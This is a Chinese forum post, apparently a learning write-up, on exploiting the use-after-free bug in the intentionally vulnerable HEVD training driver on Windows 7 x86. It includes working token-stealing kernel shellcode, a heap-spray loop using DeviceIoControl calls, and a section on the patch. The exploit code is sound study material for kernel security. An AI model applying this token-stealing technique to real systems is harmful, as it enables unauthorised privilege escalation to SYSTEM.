学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

435

积分

2

好友

12

主题
发表于 2019-6-29 22:46:49 | 查看: 2914| 回复: 0
0x00:前言
最近重新开始了我的Windows内核之旅,这是我总结的Windows kernel exploit系列的第一部分,从简单的UAF入手,为什么第一篇是UAF呢,因为我参考的是wjllz师傅的文章,他写的非常好,这里我记录一下自己的学习过程供大家参考,第一篇我尽量写的详细一些,实验环境是Windows 7 x86 sp1,研究内核漏洞是一件令人兴奋的事情,希望能通过文章遇到更多志同道合的朋友,看此文章之前你需要有以下准备:
  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境
0x01:漏洞原理提权原理
首先我们要明白一个道理,运行一个普通的程序在正常情况下是没有系统权限的,但是往往在一些漏洞利用中,我们会想要让一个普通的程序达到很高的权限就比如系统权限,下面做一个实验,我们在虚拟机中用普通权限打开一个cmd然后断下来,用!dml_proc命令查看当前进程的信息
kd> !dml_proc
Address  PID  Image file name
865ce8a8 4    System        
87aa9970 10c  smss.exe      
880d4d40 164  csrss.exe     
881e6200 198  wininit.exe   
881e69e0 1a0  csrss.exe     
...
87040ca0 bc0  cmd.exe
我们可以看到System的地址是 865ce8a8 ,cmd的地址是 87040ca0 ,我们可以通过下面的方式查看地址中的成员信息,这里之所以 +f8 是因为token的位置是在进程偏移为 0xf8 的地方,也就是Value的值,那么什么是token?你可以把它比做等级,不同的权限等级不同,比如系统权限等级是5级(最高),那么普通权限就好比是1级,我们可以通过修改我们的等级达到系统的5级权限,这也就是提权的基本原理,如果我们可以修改进程的token为系统的token,那么就可以提权成功,我们手动操作一次下面是修改前token值的对比
kd> dt nt!_EX_FAST_REF 865ce8a8+f8
   +0x000 Object           : 0x8a201275 Void
   +0x000 RefCnt           : 0y101
   +0x000 Value            : 0x8a201275 // system token
kd> dt nt!_EX_FAST_REF 87040ca0+f8
   +0x000 Object           : 0x944a2c02 Void
   +0x000 RefCnt           : 0y010
   +0x000 Value            : 0x944a2c02 // cmd token
我们通过ed命令修改cmd token的值为system token
kd> ed 87040ca0+f8 8a201275
kd> dt nt!_EX_FAST_REF 87040ca0+f8
   +0x000 Object           : 0x8a201275 Void
   +0x000 RefCnt           : 0y101
   +0x000 Value            : 0x8a201275
用whoami命令发现权限已经变成了系统权限
49685d1778a82d6e1.png
我们将上面的操作变为汇编的形式如下
void ShellCode()
{
    _asm
    {
        nop
        nop
        nop
        nop
        pushad
        mov eax,fs:[124h]        // 找到当前线程的_KTHREAD结构
        mov eax, [eax + 0x50]    // 找到_EPROCESS结构
        mov ecx, eax
        mov edx, 4    // edx = system PID(4)
 
        // 循环是为了获取system的_EPROCESS
    find_sys_pid:
        mov eax, [eax + 0xb8]    // 找到进程活动链表
        sub eax, 0xb8            // 链表遍历
        cmp [eax + 0xb4], edx    // 根据PID判断是否为SYSTEM
        jnz find_sys_pid
 
        // 替换Token
        mov edx, [eax + 0xf8]
        mov [ecx + 0xf8], edx
        popad
        ret
    }
}
解释一下上面的代码,fs寄存器在Ring0中指向一个称为KPCR的数据结构,即FS段的起点与 KPCR 结构对齐,而在Ring0中fs寄存器一般为0x30,这样fs:[124]就指向KPRCB数据结构的第四个字节。由于 KPRCB 结构比较大,在此就不列出来了。查看其数据结构可以看到第四个字节指向CurrentThead(KTHREAD类型)。这样fs:[124]其实是指向当前线程的_KTHREAD
kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Used_StackBase   : Ptr32 Void
   +0x008 Spare2           : Ptr32 Void
   +0x00c TssCopy          : Ptr32 Void
   +0x010 ContextSwitches  : Uint4B
   +0x014 SetMemberCopy    : Uint4B
   +0x018 Used_Self        : Ptr32 Void
   +0x01c SelfPcr          : Ptr32 _KPCR
   +0x020 Prcb             : Ptr32 _KPRCB
   +0x024 Irql             : UChar
   +0x028 IRR              : Uint4B
   +0x02c IrrActive        : Uint4B
   +0x030 IDR              : Uint4B
   +0x034 KdVersionBlock   : Ptr32 Void
   +0x038 IDT              : Ptr32 _KIDTENTRY
   +0x03c GDT              : Ptr32 _KGDTENTRY
   +0x040 TSS              : Ptr32 _KTSS
   +0x044 MajorVersion     : Uint2B
   +0x046 MinorVersion     : Uint2B
   +0x048 SetMember        : Uint4B
   +0x04c StallScaleFactor : Uint4B
   +0x050 SpareUnused      : UChar
   +0x051 Number           : UChar
   +0x052 Spare0           : UChar
   +0x053 SecondLevelCacheAssociativity : UChar
   +0x054 VdmAlert         : Uint4B
   +0x058 KernelReserved   : [14] Uint4B
   +0x090 SecondLevelCacheSize : Uint4B
   +0x094 HalReserved      : [16] Uint4B
   +0x0d4 InterruptMode    : Uint4B
   +0x0d8 Spare1           : UChar
   +0x0dc KernelReserved2  : [17] Uint4B
   +0x120 PrcbData         : _KPRCB
再来看看_EPROCESS的结构,+0xb8处是进程活动链表,用于储存当前进程的信息,我们通过对它的遍历,可以找到system的token,我们知道system的PID一直是4,通过这一点我们就可以遍历了,遍历到系统token之后替换就行了
kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x098 ProcessLock      : _EX_PUSH_LOCK
   +0x0a0 CreateTime       : _LARGE_INTEGER
   +0x0a8 ExitTime         : _LARGE_INTEGER
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0c0 ProcessQuotaUsage : [2] Uint4B
   +0x0c8 ProcessQuotaPeak : [2] Uint4B
   +0x0d0 CommitCharge     : Uint4B
   +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK
   +0x0d8 CpuQuotaBlock    : Ptr32 _PS_CPU_QUOTA_BLOCK
   +0x0dc PeakVirtualSize  : Uint4B
   +0x0e0 VirtualSize      : Uint4B
   +0x0e4 SessionProcessLinks : _LIST_ENTRY
   +0x0ec DebugPort        : Ptr32 Void
   ...
   +0x2b8 SmallestTimerResolution : Uint4B
   +0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD
UAF原理
如果你是一个pwn选手,那么肯定很清楚UAF的原理,简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:
  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。类比Linux的内存管理机制,Windows下的内存申请也是有规律的,我们知道ExAllocatePoolWithTag函数中申请的内存并不是胡乱申请的,操作系统会选择当前大小最合适的空闲堆来存放它。如果你足够细心的话,在源码中你会发现在UseUaFObject中存在g_UseAfterFreeObject->Callback();的片段,如果我们将Callback覆盖为shellcode就可以提权了
typedef struct _USE_AFTER_FREE {
    FunctionPointer Callback;
    CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
 
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
 
NTSTATUS UseUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
    PAGED_CODE();
 
    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Using UaF Object\n");
            DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
            DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
            DbgPrint("[+] Calling Callback\n");
 
            if (g_UseAfterFreeObject->Callback) {
                g_UseAfterFreeObject->Callback(); // g_UseAfterFreeObject->shellcode();
            }
 
            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}
0x02:漏洞利用利用思路
如果我们一开始申请堆的大小和UAF中堆的大小相同,那么就可能申请到我们的这块内存,假如我们又提前构造好了这块内存中的数据,那么当最后释放的时候就会指向我们shellcode的位置,从而达到提取的效果。但是这里有个问题,我们电脑中有许许多多的空闲内存,如果我们只构造一块假堆,我们并不能保证刚好能够用到我们的这块内存,所以我们就需要构造很多个这种堆,换句话说就是堆海战术吧,如果你看过0day安全这本书,里面说的堆喷射也就是这个原理。
利用代码
根据上面我们已经得到提权的代码,相当于我们只有子弹没有枪,这样肯定是不行的,我们首先伪造环境
typedef struct _FAKE_USE_AFTER_FREE
{
    FunctionPointer countinter;
    char bufffer[0x54];
}FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;
 
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
接下来我们进行堆喷射
for (int i = 0; i < 5000; i++)
{
    // 调用 AllocateFakeObject() 对象
    DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
你可能会疑惑上面的IO控制码是如何得到的,这是通过逆向分析IrpDeviceIoCtlHandler函数得到的,我们通过DeviceIoControl函数实现对驱动中函数的调用,下面原理相同
// 调用 UseUaFObject() 函数
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 调用 FreeUaFObject() 函数
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
如果你不清楚DeviceIoControl函数的话可以参考官方文档
BOOL DeviceIoControl(
  HANDLE       hDevice,
  DWORD        dwIoControlCode,
  LPVOID       lpInBuffer,
  DWORD        nInBufferSize,
  LPVOID       lpOutBuffer,
  DWORD        nOutBufferSize,
  LPDWORD      lpBytesReturned,
  LPOVERLAPPED lpOverlapped
);
最后我们需要一个函数来调用 cmd 窗口检验我们是否提权成功
static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
上面是主要的代码,详细的代码参考这里,最后提权成功
825245_ZGUK7AYS897JHVC.gif
0x03:补丁思考
对于 UseAfterFree 漏洞的修复,如果你看过我写的一篇pwn-UAF入门的话,补丁的修复就很明显了,我们漏洞利用是在 free 掉了对象之后再次对它的引用,如果我们增加一个条件,判断对象是否为空,如果为空则不调用,那么就可以避免 UseAfterFree 的发生,而在FreeUaFObject()函数中指明了安全的措施,我们只需要把g_UseAfterFreeObject置为NULL
#ifdef SECURE
            // Secure Note: This is secure because the developer is setting
            // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
 
            g_UseAfterFreeObject = NULL;
#else
            // Vulnerability Note: This is a vanilla Use After Free vulnerability
            // because the developer is not setting 'g_UseAfterFreeObject' to NULL.
            // Hence, g_UseAfterFreeObject still holds the reference to stale pointer
            // (dangling pointer)
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
下面是在UseUaFObject()函数中的修复方案:
if(g_UseAfterFreeObject != NULL)
{
    if (g_UseAfterFreeObject->Callback) {
        g_UseAfterFreeObject->Callback();
    }
}
0x04:后记
这一篇之后我会继续写windows-kernel-exploit系列2,主要还是研究HEVD中的其他漏洞,类似的UAF漏洞可以参考我研究的2014-4113和我即将研究的2018-8120,最后,吹爆wjllz师傅!

参考链接:


kernel exploit 1.zip (9.68 MB, 下载次数: 2)


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
https://thunderjie.github.io/

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-3-28 16:45 , Processed in 0.095164 second(s), 37 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表